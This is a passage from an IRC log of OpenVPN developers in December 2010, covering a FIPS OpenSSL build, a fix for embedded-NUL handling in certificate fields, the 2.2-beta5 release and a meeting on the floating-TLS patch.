... but please feel free to ask on the mailing list 11:11 -!- rasengan [~rasengan@unaffiliated/rasengan] has joined #openvpn-devel 12:25 -!- krzie [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 12:28 -!- rasengan [~rasengan@unaffiliated/rasengan] has left #openvpn-devel ["WeeChat 0.3.2"] 12:54 -!- dazo is now known as dazo_afk 13:37 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:13 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 15:14 < Essobi> Anyone attempted to build openvpn with the FIPS 140-2 openssl module? 15:32 < ecrist> this is the right place to ask. 15:35 < Essobi> ecrist: Thanks. 15:46 < krzee> wouldnt it just be a matter of getting openssl to use it, and openvpn would have nothing to do with it? 15:46 < krzee> or does openssl need to be called differently to take advantage of it? 15:47 < Essobi> http://www.openssl.org/docs/fips/UserGuide.pdf 15:47 < Essobi> From what I've gathered from this document thus far, when the module is enabled, it disables all the other Crypto. 15:48 < Essobi> And from speaking to someone in passing.. this really pisses openVPN off. 15:50 < Essobi> It also mucks with the RNG usage requirements, it would appear. I did see where someone was able to get it to build semi-cleanly but was having issues with the RNG that openVPN was using. 15:53 < krzee> looks like once you use FIPS_mode_set() you still get RSA / DH, but blowfish would not use your FIPS 15:53 < krzee> The OpenSSL libraries, when built from a standard OpenSSL distribution with the ?fips? configuration option for use with the FIPS Object Module, will contain the usual non?FIPS algorithms and non?cryptographic supporting functions, and the non?FIPS algorithm disabling restrictions. 15:55 < Essobi> Hmm.. Yes, perhaps. I'll have to check the build details, as it says, changing the build options when compiling, invalidates the certification. 15:56 < Essobi> Looks like it builds two object modules in that case.. One for FIPS and one for libcrypto 16:00 < Essobi> Hah.. the module self certifies at startup. 16:33 <@jamesyonan> since FIPS build restricts available ciphers/macs, you might need to use OpenVPN "cipher" and "auth" directives to specify a cipher/mac pair that FIPS allows 16:35 <@jamesyonan> Re: RNG, OpenVPN uses the standard RAND_bytes function in OpenSSL 16:43 < Essobi> jamesyonan: Roger that. I'll check into that once I get my dev machine up. Thanks 16:45 < Essobi> krzee: By design, the OpenSSL API attempts to disable non­FIPS algorithms, when in FIPS mode, at the 16:46 < Essobi> EVP level and via most low level function calls. 16:46 <@jamesyonan> Essobi: let us know what you find. I'm interested as well in making the OpenVPN linkage with FIPS 140-2 openssl module as seamless as possible. 16:47 < Essobi> jamesyonan: Awesome. I'll get this box booting tonight, and start cracking on it tomorrow. My damned basement leaked so I'll be cleaning that up for the rest of the night. :\ 16:54 < Essobi> the latest FIPS certified module was branched off openSSL mid-release between 0.9.8e and 0.9.8f.. Is that going to be a problem? 16:58 < Essobi> jamesyonan: Hmm.. Pondering this more... With an OpenSSL compatable FIPS accelerator card... The same config should be a near drop in replacement for hardware accelerated FIPS compliant VPN. 17:04 < Essobi> Thanks again, everyone. I'll be back later, either tonight or tomorrow. 17:05 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+o patelx] by ChanServ 17:10 <@jamesyonan> Essobi: shouldn't be a problem. OpenVPN links with OpenSSL going back to 0.9.7 23:35 < Essobi> jamesyonan: Good deal. I've got my dev box mostly built now. 23:38 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 23:38 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 23:38 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Wed Dec 01 2010 02:11 -!- dazo_afk is now known as dazo 02:19 <@dazo> Essobi: I hope you will be available to this channel for a long time! We are in a deeply need of more people who knows more OpenSSL details ... and you are more than welcome to stay here :) 03:32 <@dazo> jamesyonan: thanks you for the binaries! I'm sorry we're pushing you when you're in such a time squeeze as now. mattock is working hard to get the community windows build platform up'n'running, but we're not quite there yet ... there are still some missing pieces to be able to build the complete installer 03:32 <@dazo> but believe me, we would like to avoid bothering you more than needed on such things we should be able to do :) 04:17 -!- common- [~common@p5DDA4AE7.dip0.t-ipconnect.de] has joined #openvpn-devel 04:20 -!- common [~common@p5DDA4977.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 04:20 -!- common- is now known as common 08:15 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: ecrist] 08:22 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:39 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 08:39 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:39 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:44 < ecrist> !user hostmask add developers *@openvpn/community/developer/* 08:44 <@vpnHelper> Error: That operation cannot be done in a channel. 08:45 < ecrist> ping dazo 08:47 <@dazo> ecrist: pong 08:48 < ecrist> can you try '!forget centos' in #openvpn? 08:48 <@dazo> sure! 08:48 <@dazo> \o/ 08:48 <@dazo> I got power! 08:48 < ecrist> now, relearn it, please? 08:49 < ecrist> doing some crazy stuff with our vhost masks. 08:49 <@dazo> neat :) 08:49 < ecrist> now users with a freenode hostmask will have factoids access 08:50 < ecrist> openvpn/community/developers/* and openvpn/community/support/* 08:50 < ecrist> have access to factoids db 08:51 <@dazo> cool! 08:51 < ecrist> I knew something good/useful would come of these host masks 08:54 <@dazo> heh :) 08:55 < ecrist> 1) simplifies channel access list 2) simplifies bot access 08:55 < ecrist> :) 08:55 < ecrist> now, when your host mask is set, the other two 'just work' 09:42 < Essobi> Morning. 10:14 -!- dazo is now known as dazo_afk 10:39 < Essobi> Nice. :) 10:39 < Essobi> OpenVPN-2.2-beta3 built against OpenSSL FIPS module. 10:44 < ecrist> Essobi: what did you have to do to get it to work? 10:46 < Essobi> ecrist: I'm still working on it. 10:46 < Essobi> It's not validated yet, which is required for FIPS compliance, but it is building against the FIPS module. 10:47 < Essobi> With out the init and self verification steps, thus far. 10:47 < Essobi> http://pastebin.ca/2007808 10:48 < Essobi> In addition to the verification steps, I believe it's going to require a config to restrict the proper ciphers for FIPS compliance. 10:48 < Essobi> I'm going to write all this up, including the verification steps after I finish it. 10:49 < ecrist> sweet 10:49 < Essobi> yessir 10:51 < Essobi> ecrist: now that it's built... Let's see if I can manage to configure it. ;) 10:53 < Essobi> ecrist: One of the neat things about the FIPS 140-2 compliance.. when the module inits, it hashes the crypt libs, and refuses to run if it's been modified. :) 10:53 < Essobi> Take that rootkit! Heh. 11:00 -!- dazo_afk is now known as dazo 13:03 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 13:04 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:04 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 13:04 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:17 < common> hrm, openvpn-testing.git lacks x509_username_field which is in 2.2-beta3? 13:18 <@dazo> common: you need to check out the right branch 13:18 <@dazo> allmerged contains all the different branches with code we're testing 13:18 <@dazo> beta2.2 contains the beta releases 13:19 < common> what is recommended to base a patch on? 13:19 <@dazo> the master branch is basically out-dated and dead .... and I know it should be improved 13:19 <@dazo> common: what are you going to patch? 13:19 < common> my own emailaddress thing 13:19 <@dazo> hmm ... O 13:20 <@dazo> I'd probably say bugfix2.1 for now .... I'm going to merge feat_misc and bugfix2.1, as it's separation was not so well thought 13:20 < common> bugfix 2.1 lacks the x509_username code 13:21 < common> I think it was introduced in 2.2* 13:21 <@dazo> ahh, then it's easy, feat_misc 13:21 <@dazo> I merged bugfix2.1, feat_misc, feat_eurephia, feat_ipv6_wintap and svn-BETA21 into beta2.2 13:24 <@dazo> when we're releasing openvpn-2.2 ... I'm planning to rebuild the final beta2.2 branch and suggest to publish openvpn.git ... and then we'll see what happens with openvpn-testing.git with time 13:24 <@dazo> (or openvpn-community.git, for that matter) 13:48 < common> which indenting style to use, ssl.c got many different, tabs spaces, indent after if etc 13:49 <@dazo> tabs with tabsize 2 .... I'll look up some examples 13:51 < common> http://p.carnivore.it/1OkNDm 13:51 <@vpnHelper> Title: 1OkNDm on :set paste private nopaste service (at p.carnivore.it) 13:51 <@dazo> common: socket.c seems to be more consistent 13:52 <@dazo> common: but try to avoid too long lines .... that's not a so strict now, but it's a good habit ... breaking down to more lines helps readability 13:52 <@dazo> Especially on the msg() calls 13:53 <@dazo> # 13:53 <@dazo> msg (D_TLS_ERRORS, "VERIFY ERROR: could not extract %s extension from X509 subject string ('%s') -- note that the username length is limited to %d characters", 13:53 <@dazo> # 13:53 <@dazo> x509_username_field+4, 13:53 <@dazo> # 13:53 <@dazo> subject, 13:53 <@dazo> # 13:53 -!- dazo was kicked from #openvpn-devel by vpnHelper [Flooding detected. Please use http://openvpn.pastebin.ca for posting logs or configs.] 13:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:53 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:53 <@dazo> way to go! 13:54 <@dazo> esp. the error string could be split like this: 13:54 <@dazo> "VERIFY ERROR: could not extract %s extension from X509 subject string ('%s')" 13:54 < common> "" 13:54 <@dazo> " -- note that the username length is limited to %d characters", 13:54 <@dazo> yeah 13:54 < common> done 13:55 < common> I'd adapt the indenting to the surrounding code 13:55 <@dazo> if doable, consider also the if statements ... f.ex. spending an int saving the result temporarily to avoid the long if clause, helps readability 13:56 <@dazo> jamesyonan: did you have some draft available for the coding guidelines you talked about earlier .... I can work a bit on it, if you don't mind 13:58 < common> consider just compiling a uncrustify config 13:58 < common> but 13:58 < common> besides beauty 13:59 < common> given the hint on the ml 13:59 * dazo will check out uncrustify 13:59 <@dazo> common: yeah? 13:59 < common> ASN1_STRING_to_UTF8 is used quite often, and the length is never checked, so I guess this may be vulnerable to the thing mentioned on the ml, cve-..., null value in asn1 strings 14:00 < common> vulnerable in multiple places 14:01 <@jamesyonan> dazo: not at this point. But to start, I would say probably the most important guideline is to be aware that the option parser in options.c is used for both parsing the local config file AND for parsing options on the client that are dynamically pushed by the server. So it's really critical to ensure that when adding an option, that you don't allow the option to be server-pushed unless you completely think through the sec 14:01 <@jamesyonan> ramifications of that. 14:01 < common> ah, 'the man' of openvpn 14:02 < common> got an opinion regarding the use of ASN1_STRING_to_UTF8 without checking the length? 14:02 <@dazo> jamesyonan: okay ... no problem ... do you mind if I start looking into that at some (soonish) point? We're beginning to really need it 14:02 * dazo brb 14:03 < common> dazo: I can hand you my uncrustify cfg 14:03 <@jamesyonan> dazo: sure, I completely agree. 14:03 <@dazo> common: please do 14:03 < common> I use tabs and I'm very special in what I like 14:04 < common> for example if( x ) instead of if (x), as I prefer focus on the logic, not the syntax 14:06 < common> http://p.carnivore.it/4LPodX 14:06 <@vpnHelper> Title: 4LPodX on :set paste private nopaste service (at p.carnivore.it) 14:21 * dazo is back 14:22 <@dazo> common: fair enough, I will probably adopt to comply to the defaults in OpenVPN ... and probably prepare something clever for people to check if their code is good for submission 14:32 <@jamesyonan> common: re: ASN1_STRING_to_UTF8 usage, what do you mean about not checking the length? 14:34 < common> http://article.gmane.org/gmane.network.openvpn.devel/4196 14:34 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:34 <@dazo> Essobi: if you know something about this topic (^^^^) please chime in :) 14:35 < common> hrm 14:35 < common> where is my reply? 14:36 < common> lost 14:37 < common> http://p.carnivore.it/23GSnn 14:37 <@vpnHelper> Title: 23GSnn on :set paste private nopaste service (at p.carnivore.it) 14:38 < common> dazo: which diff format is prefered? 14:39 <@jamesyonan> common: I see -- the gmane-referenced post is about a new patch. I was thinking that you were talking about the existing usage of ASN1_STRING_to_UTF8 in ssl.c. But that usage uses strncpynt, not strncpy, so it properly null-terminates truncated strings. 14:39 <@dazo> common: do a local commit ... and then use git format-patch HEAD~1 ... that'll give you a nice file you can mail 14:40 <@dazo> common: jamesyonan: and extract_x509_field_ssl() also restricts the maximum lenght of the field as an input parameter 14:41 < common> it is not about restricting length 14:41 < common> he is right with strncpy 14:41 < common> but ASN1_STRING_to_UTF8 man return a string which has a \0 embedded 14:41 < common> like username\0foobar 14:42 < common> and you'll only copy username 14:42 < common> and compare/auth using username 14:44 < common> so, if you get a valid certificate which says "username\0foobar" 14:44 < common> you could authenticate as username instead of "username\0foobar" 14:44 <@dazo> But isn't that a part of the feedback from Matthias? ... that there is no check for embedded NULLs, and whether that is correct or not ... which is why fetchmail checks .ia5->length against what's converted into a C string? 14:44 < common> yes 14:44 < common> and exactly this code is missing in many places in openvpn 14:45 < common> which is why I ask if this is known/intended/correct 14:48 <@dazo> I'd probably suggest this to be brought up for a wider discussion on the Thursday meetings ... maybe jamesyonan and others can find some time to dig deeper into this .... that fetchmail have fixed this as an CVE, indicates that there was some nastiness we should double check 14:48 <@dazo> mattock: ^^^ This should probably be mentioned explicitly in the agenda mail you send out, so that we are sure we can get some attention to this 14:59 <@jamesyonan> the certificate signer though can fully review a CSR before it's signed. So if an auth module is using X509 Subject fields as a basis for authentication, presumably these fields were verified and approved before the certificate was signed. 15:01 <@dazo> jamesyonan: true, but if the application don't show the complete value, due to the same bug in whichever CA application being used ... the user would only see "half" of the contents of the field 15:03 < common> actually I remember IE had exactly these problems 15:04 < common> thats the linked CVE I guess 15:04 < common> ca did not verify the values properly, IE failed upon them 15:12 < common> resent the patch - worked out my muas problems :) 15:13 <@jamesyonan> ASN1_STRING_to_UTF8 returns the real length of the string, so we should be able to compare that with the strlen to detect embedded nulls. 15:14 <@dazo> that sounds like a good idea 15:14 < common> I think it may be a good idea to wrap this 15:14 * ecrist gets a bass line going 15:14 < ecrist> nst nst nst nst nst 15:15 < ecrist> oh, wrap with a 'w' 15:15 * ecrist chuckles 15:15 < common> bool my_ASN1_STRING_to_UTF8() return false if strlen() != realstrlen 15:15 < common> nvt 15:15 < common> counting sheeps now 15:16 <@dazo> ecrist: it really took me a minute to catch your joke ... :) 15:28 <@jamesyonan> common: agreed, wrapping is probably the right approach 15:43 -!- dazo is now known as dazo_afk 17:24 < ecrist> at least someone got it 17:49 <@jamesyonan> ecrist: sorry, trying to get my head around the security assumptions in the OpenSSL ASN1 code just smashed any sense of humor that I might have had at the moment :) Your lament reminds me of this article I read a while back http://www.washingtonpost.com/wp-dyn/content/article/2007/04/04/AR2007040401721.html 17:49 <@vpnHelper> Title: Pearls Before Breakfast - washingtonpost.com (at www.washingtonpost.com) 18:04 < ecrist> great article, jamesyonan 18:06 < Essobi> Hmm... 18:07 < Essobi> SSL_CTX_user_certificate_chain_file is falling down in ssl.c 18:32 < Essobi> Hmm.. I used easy-rsa with a few minor adjustments... I don't see anything wrong with the cert and RSA 2048 is approved with FIPS for sign/verify, so it is allowed. 20:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: ecrist] 21:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:02 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:02 < ecrist> !wtf ecrist [supybot] 21:03 < ecrist> !tell ecrist [supybot] 21:03 <@vpnHelper> An error has occurred and has been logged. Please contact this bot's administrator for more information. 21:03 < ecrist> !tell ecrist [!linnat] 21:03 <@vpnHelper> An error has occurred and has been logged. Please contact this bot's administrator for more information. 21:03 < ecrist> !tell ecrist [linnat] 21:03 <@vpnHelper> An error has occurred and has been logged. Please contact this bot's administrator for more information. 21:03 < ecrist> hrm, I wonder if I broke him 21:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 21:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:05 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:05 < ecrist> !tell ecrist [linnat] 21:05 < ecrist> !tell ecrist [!linnat] 21:06 < ecrist> !tell ecrist [factoids !linnat] 21:06 < ecrist> why doesn't it expand that 21:06 < ecrist> hrm 23:51 < krzie> because just saying factoids !linnat is not a command --- Day changed Thu Dec 02 2010 00:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 02:43 -!- dazo_afk is now known as dazo 04:18 -!- common- [~common@p5DDA498F.dip0.t-ipconnect.de] has joined #openvpn-devel 04:19 -!- common [~common@p5DDA4AE7.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:19 -!- common- is now known as common 06:27 < ecrist> krzie: it didn't expand any of those 07:56 <@mattock> should we release 2.2-beta5 tomorrow? 07:56 <@mattock> I can setup the web page today and ask Frank to make them public tomorrow 07:56 <@mattock> I mean, "to push them to production tomorrow" 07:58 <@mattock> also, I'm thinking that squeezing the old releases on http://openvpn.net/index.php/open-source/downloads.html into a list or something would make the page more readable 07:58 <@vpnHelper> Title: Downloads (at openvpn.net) 07:58 <@mattock> so, there would be full entries only for the latest 2.2 and 2.1 releases 07:59 <@mattock> and the rest would be available at the bottom of the page as a list, or on a separate page 07:59 <@mattock> what do you think? 07:59 <@mattock> also, probably few are interested in OpenVPN 1.6.0 or OpenVPN 2.0.9 anymore 08:04 < ecrist> I think we should put notice out, before those are pulled. 08:04 < ecrist> do we have 2.2-beta5 tarballs somewhere? 08:05 < ecrist> I can get the port updated today, if I have that 08:21 <@dazo> mattock: yes, that'd be cool with a beta5 release 08:22 <@mattock> ecrist: I've now moved them (2.1.3, 2.0.9, 1.6.0, etc) to a separate page. An there's a link to that page from "Downloads" page, under the "Old releases" heading 08:22 <@mattock> so they will be available relatively easily 08:23 <@dazo> mattock: get those ancient releases out of the download list ... that's history and we don't support them any more. 2.1 has been released for almost a year, so 2.0.x is way old and unsupported 08:23 <@mattock> ecrist: http://swupdate.openvpn.net/community/releases/openvpn-2.2-beta5.tar.gz 08:23 < ecrist> mattock: xz release, too? 08:24 <@mattock> yep, just a moment 08:26 <@mattock> http://swupdate.openvpn.net/community/releases/openvpn-2.2-beta5.tar.xz 08:28 <@mattock> dazo: got a changelog for 2.2-beta3 -> 2.2-beta5? 08:29 <@mattock> I just got the one patch I sent for beta5 08:29 <@dazo> mattock: have you looked at ChangeLog? 08:29 <@dazo> the file ... 08:29 <@mattock> argh :) 08:29 <@mattock> no 08:29 < ecrist> mattock: can you ask jamesyonan to sign that, too, please? 08:29 <@dazo> or ... git show v2.2-beta4 and git show v2.2-beta5 ;-) 08:29 <@mattock> ecrist: sure 08:30 <@mattock> jamesyonan: could you sign http://swupdate.openvpn.net/community/releases/openvpn-2.2-beta5.tar.xz ? 08:30 <@mattock> with PGP 08:30 <@mattock> for FreeBSD ports 08:33 <@mattock> dazo: any highlights (e.g. features) I should mention? 08:34 <@mattock> the list is changes a bit too long to list them all (outside the changelog) 08:35 * dazo rebases his beta branch 08:36 <@dazo> mattock: it's mostly bugfixes 08:36 <@dazo> Adding support for SOCKS plain text authentication 08:36 <@dazo> Add HTTP/1.1 Host header (bugfix) 08:36 <@dazo> TAP support on Solaris 08:36 <@dazo> Make "topology subnet" work on Solaris 08:37 <@dazo> that's basically the highlights 08:37 <@mattock> ok, thanks! 08:39 <@mattock> dazo, regarding this: "mattock: ^^^ This should probably be mentioned explicitly in the agenda mail you send out, so that we are sure we can get some attention to this" 08:39 <@mattock> could you perhaps write a short summary of the issue and why it needs attention? 08:39 <@dazo> mattock: yeah, I think jamesyonan concluded yesterday in the end 08:40 <@dazo> it's about improving the ASN1_<something>_to_UTF8() usage we have in ssl.c, which don't check the length of the ASN.1 decoding of what's expected and what strlen() catches 08:41 <@mattock> and there have been issues like this in other projects 08:41 <@dazo> as the ASN.1 string may contain NULL values in the middle of a string, thus truncating the string 08:41 <@dazo> fetchmail had an CVE report on this onw 08:41 <@dazo> s/onw/one/ 08:42 <@dazo> mattock: the guy pointing it out on the ML is one of the fetchmail developers 08:42 <@dazo> or, he was not pointing it out on ssl.c ... but on a patch being sent for review 08:42 <@mattock> ok, I see 08:44 <@mattock> what (other) meeting topics for today? 08:45 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 08:46 <@dazo> mattock: release plan for 2.2, set some official milestone dates for 2.3-beta 08:46 <@mattock> ok, I'll create the topic page 08:46 <@dazo> mattock: we don't need to mention the ASN1 stuff, if I don't see a patch for it within a reasonable time, I'll put one together myself 08:47 <@mattock> ok 08:48 <@dazo> mattock: I see cron2 is willing to raise the bar for new features in the 2.2 release ... so we can also discuss that :) 08:48 <@mattock> you guys are so eager to get new features out :D 08:48 <@mattock> stable == boring? :) 08:51 <@mattock> ok: https://community.openvpn.net/openvpn/wiki/Topics-2010-12-02 08:51 <@vpnHelper> Title: Topics-2010-12-02 – OpenVPN Community (at community.openvpn.net) 09:04 < common> I'd be carefull with multiple ssl backends 09:04 < common> you need at most one expert for each backend 09:05 < common> curl does it 09:06 < common> and as redhat is going to switch to nss, I think they take care of nss in curl in a way 09:06 < common> but, given there is very different api 09:07 < common> some things turned out to be try & error 09:07 <@mattock> openvpn.net download page update, will ask Frank to push it to production later today/tomorrow 09:48 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 09:57 <@cron2> dazo: did I say anything about 2.2? But I'd like to finally get that one out, and start on 2.3... 09:57 <@dazo> cron2: gah, fat fingers ... I meant 2.3 :) 09:58 <@cron2> dazo: well, I'm really convinced that we can have a proper automated build&test setup "real soon now", and that will make it quite easy to wreck and rebuild things without regressions... 09:59 <@dazo> yeah, I just want to be sure we have it before we start announcing we're using it :) 09:59 <@cron2> ... what I'm wary about if two independent developers go and change the same places at the same time in different branches, as *that* would cause lots of extra work at merge time... and potential new bugs 09:59 <@cron2> (insert grammar) 10:00 <@dazo> yeah, and that's going to change ... I'm going to simplify things a little bit more in the future when 2.2 ready for release 10:01 <@dazo> I'll spend Christmas building up a new git tree, which will clean up the history of the beta2.2 branch ... we'll still have feature branches for bigger things ... but things like now goes into feat_misc and bugfix2.1 will simply go into a master branch 10:02 <@dazo> And we'll fork out a release-2.2 branch when we start bugfixing things in the 2.2 release ... all development goes in master ... and get backported to the release-2.2 branch 10:02 <@dazo> and feature branches *must* be rebased against the master branch only 10:03 <@dazo> And James have claimed earlier the 2.2 release is a natural point for him to switch over to git as well ... so we don't need to think about SVN stuff 10:05 <@dazo> and feat_* branches are merged into the master branch .... so the master becomes allmerged and the a development branch. 10:05 <@dazo> I hope that will streamline the development process better 10:11 <@cron2> makes sense 11:45 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 11:57 <@cron2> wohoo, arrived home in time :) 11:58 <@mattock> almost meeting time... 12:00 <@dazo> !learn meetings as See https://community.openvpn.net/openvpn/wiki/IrcMeetings 12:00 <@vpnHelper> Joo got it. 12:01 <@mattock> okidoki, one minute past already 12:01 <@mattock> everybody set? 12:03 <@dazo> I am ... (even though I'll be working in parallel ... deadline for a new release approaching at work) 12:04 * cron2 sits 12:05 <@mattock> so, topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-12-02 12:05 <@vpnHelper> Title: Topics-2010-12-02 – OpenVPN Community (at community.openvpn.net) 12:06 <@mattock> so 2.2-beta5 release... 12:07 <@mattock> the download page has been updated already, it's just waiting to be pushed to production 12:07 <@cron2> cool 12:07 -!- blaisegassend [~blaise@gw.willowgarage.com] has joined #openvpn-devel 12:08 <@mattock> Frank (our web guy) has not yet responded to me, but I'm pretty sure the 2.2-beta5 release will go live later today, or tomorrow evening (UTC) 12:08 <@mattock> hi blaisegassend! 12:08 <@mattock> perhaps we should discuss floating-tls patch for a while? blaise wrote it 12:08 <@mattock> jamesyonan: are you there? 12:08 < blaisegassend> Hi. At Samuli's suggestion I dropped by to discuss the floating tls patch. 12:09 <@mattock> samuli = me 12:09 <@jamesyonan> hi guys 12:09 <@mattock> hi jamesyonan! good thing you're available! 12:09 * ecrist waves 12:09 <@dazo> blaisegassend: we're gonna add your patch the agenda this week to then 12:09 < blaisegassend> OK 12:09 <@mattock> I suggest discussing it right now... ok for everybody? 12:09 < blaisegassend> Works for me. 12:10 <@mattock> the patch in question is this: http://thread.gmane.org/gmane.network.openvpn.devel/4106 12:10 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:10 <@mattock> we discussed it briefly in last community meeting: http://thread.gmane.org/gmane.network.openvpn.devel/4189 12:10 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:10 <@mattock> so, the issue was that we were not sure what security implications it would have 12:11 <@mattock> besides that sounded like a neat and very useful feature 12:11 <@dazo> I've just sent a reply to his mail 12:11 <@dazo> I can pastebin it now 12:11 <@mattock> dazo: that would be great 12:11 <@dazo> http://openvpn.pastebin.ca/2008769 12:12 < Essobi> So I verified the certs I'm using work on an unmodified OpenVPN beta3... 12:13 < Essobi> I'm trying to track down why SSL_CTX_user_certificate_chain_file is bombing now. I suspect it's using a non-fips cipher/hash somewhere. 12:13 < blaisegassend> For the question of compiling in or not by default, I don't think this adds any security holes if you do not enable floating-tls. 12:13 < ecrist> Essobi: meeting in progress. 12:13 <@dazo> Essobi: could that wait a little bit ... we can add it to the meeting agenda in the end 12:13 < Essobi> ecrist: Roger that.. Just commenting on what I'm going through here. 12:14 <@cron2> blaisegassend: are openvpn binaries with and without that patch still compatible? 12:14 <@mattock> essobi: no problem 12:14 < blaisegassend> If you don't set the floating-tls option, openvpn behaves exactly as it would without the option. 12:14 <@cron2> yeah, but what if I wanted to connect with an unmodified client to a server that has the option active (or vice versa)? 12:15 < blaisegassend> A client that is not using floating tls can connect to a server that has it enabled. 12:15 < blaisegassend> I have added an opcode that is used by floating tls connections. 12:15 <@cron2> ok, protocol stays compatible 12:15 < blaisegassend> If you don't use that opcode, you are handled like a not-floating connection. 12:15 <@jamesyonan> how does this interact with the already-existing TLS session-id ? 12:16 < blaisegassend> We have been using it extensively in a mixed environment without any problems. 12:16 <@jamesyonan> so do these ID bytes get prepended to all packets (i.e. TLS control channel and data channel as well?) 12:16 < blaisegassend> I'm not actually familiar with what the session-id is. 12:16 < blaisegassend> So this would be orthogonal to it. 12:17 <@jamesyonan> basically OpenVPN, when running in TLS mode, has two packet types -- control channel and data channel 12:17 < blaisegassend> The Id bytes get prepended to all packets. They get used instead of the IP/port to identify the connection. 12:18 < blaisegassend> In floating TLS, both control and channel get wrapped in an extra layer that is used to direct the packet to the correct connection. That prefx then gets stripped off and normal processing ensues. 12:19 <@jamesyonan> so the IP address of the client can change without needing to trigger a new TLS renegotiation 12:19 < blaisegassend> Correct. No renegociation when the IP changes. 12:20 <@dazo> I hate to be pessimistic ... but that sounds like an easy target for session hijacking 12:20 <@jamesyonan> it would be nice if we could figure out a way to do this without adding anything to the protocol 12:20 <@jamesyonan> dazo: no, not really an issue 12:21 < blaisegassend> If I remember correctly (but I want to double check this), the decision of whether to switch to the new IP/port takes place after the packet has been authenticated. 12:21 < blaisegassend> This should prevent session hijacking. 12:21 <@jamesyonan> there's a sort of theorem in crypto that any secure protocol cannot be made insecure by adding additional layering 12:21 <@jamesyonan> that's why SSL works over TCP (of course TCP is completely insecure) 12:21 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 12:22 < blaisegassend> You can add denial of service problems by adding a layer though. 12:22 <@jamesyonan> right -- but only DoS 12:22 < blaisegassend> Agree. 12:22 <@jamesyonan> you can't create an active or passive attack by layering 12:22 < blaisegassend> I am open to suggestions on how to do this without adding to the protocol. 12:23 < blaisegassend> If there is an identifier that I could use instead of the 64-bit identifier that I tack on in front of the packet, that would be a totally good way to go. 12:23 < blaisegassend> Not clear to me that it would be easy for a connection to say whether it is floating or not though. 12:24 < blaisegassend> Is this session-id in all packets? Is there a place I could read about it? 12:26 <@mattock> session_id.c and ssl.c seem to contain related code 12:26 <@jamesyonan> the session-id right now is only in front of control channel packets 12:26 <@jamesyonan> it's kind of a tradeoff -- doing it without changing the protocol will be more complicated 12:26 <@jamesyonan> but changing the protocol is sort of a big deal 12:27 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:27 < blaisegassend> If the session ID is not contained in data packets, how can I determine which connection an incoming packet belongs to? 12:27 < blaisegassend> I don't currently see how to answer that question without a change to the protocol. 12:28 <@jamesyonan> so right now the session ID (on control channel packets) is 64 bits, but on data channel packets, to save space, there are only a few bits that are used as an index into an array of known session IDs 12:28 < blaisegassend> OK, so it is possible to tell which connection a packet belongs to easily. 12:30 < blaisegassend> Is that index unique across all clients, or is it per-client? 12:31 <@jamesyonan> just thinking... no, I don't think there's enough info in a data channel packet to do it statelessly 12:32 <@mattock> would the current approach blaisegassend has taken (=adding another layer) the best after all? 12:32 < blaisegassend> It is certainly the simplest I could find. :) 12:33 <@mattock> especially if this feature is not used by a large percentage of users 12:33 <@jamesyonan> if you wanted to leverage off of the control channel session ID, you would probably need to add a new control channel message that says something like "session FOO is now available at 1.2.3.4" 12:33 < blaisegassend> But if the information is there in a data packet, I think it would be well worth using it instead. 12:33 <@jamesyonan> the advantage of doing it this way is that it would be more resistant to DoS 12:33 < ecrist> really, couldn't this all done with a perl one-liner? 12:33 < blaisegassend> I would much much rather not have any message necessary when the session changes IP/port. 12:34 <@cron2> ecrist: sure, but the line would be awfully long 12:34 < ecrist> :D 12:34 <@mattock> :) 12:34 < blaisegassend> This way the networking stack can be completely decoupled from openvpn. 12:34 < blaisegassend> You just change your networking setup, and openvpn just works. 12:35 < blaisegassend> Otherwise the openvpn client needs to somehow know that it is sending from a different place than it previously was. 12:35 <@dazo> as the prepending approach works now, which 